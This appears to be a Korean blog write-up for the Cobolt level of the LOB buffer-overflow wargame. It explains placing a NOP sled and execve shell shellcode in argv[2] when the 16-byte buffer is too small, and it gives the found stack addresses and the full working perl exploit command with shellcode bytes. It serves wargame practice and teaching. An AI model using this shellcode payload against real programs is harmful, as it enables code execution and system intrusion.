이번 문제는 버퍼 크기가 매우 작다. 노답.
암만 찾아도 쉘코드 중 가장 짧은게 25바이트 인데.. 버퍼가 16바이트이다.
공격을 하지말란 것인가.
아니? 꼭 페이로드를 버퍼에만 올릴 필요는 없다.
어떻게 넣을 수 있을까. 여러가지 방법이 있지만 여기서는 argv에 올리는 공격법을 선택하겠음.
일단 [**argv] [argc] [ret] [sfp] 스택이 요래 되어 있다.
argv에 올린다고 했는데, 정확하게 argv[2]에 올리는 것이다.
argv[1]은 버퍼로 복사가 되므로 해봤자 16바이트 밖에 못쓴다.
argv[1]에 RET가 argv[2]를 가르키도록 맞춰서 인자값을 넣고, (['A'*20]+[argv[2] 주소])
argv[2]에 페이로드를 올린다.
먼저 argv[2]의 주소를 찾는다.
순서대로
0xbffffb88 : SFP
0x400309cb: RET
0x00000002 : argc
0xbffffbb4 : **argv
argv가 이중포인터니까 한번더 접근해보자.
argv[0]에는 파일 절대경로 명
argv[1]에는 main 함수 인자값이 들어있다. (gdb를 이용해 임의로 aaaa를 인자로 넣었었따.)
argv[2]의 시작주소는 0xbffffbbb가 됨을 알 수 있따.
그럼 이제 공격코드를 작성하자.
위에서 설명했듯이, argv[1]에 RET를 argv[2] 시작 주소로 변조시키고
argv[2]에 NOP과 쉘코드를 올린다.
./cobolt `perl -e 'print "a"x20,"\xbb\xfb\xff\xbf"'` `perl -e 'print "\x90"x1000000,"\x31\xc0\x50\x68\x2f\x2f
\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
페이로드는 위와 같음.
nop을 10만개 줬다. 원샷 원킬 됨.
'IT 그리고 정보보안 > Write-up' 카테고리의 다른 글
LOB Level 6 (Wolfman) (0) | 2021.04.12 |
---|---|
LOB Level 5 (Orc) (0) | 2021.04.12 |
LOB Level 4 (goblin) (0) | 2021.04.12 |
LOB Level 3 (Cobolt) (0) | 2021.04.11 |
LOB Level 1 (Gate) (0) | 2021.04.11 |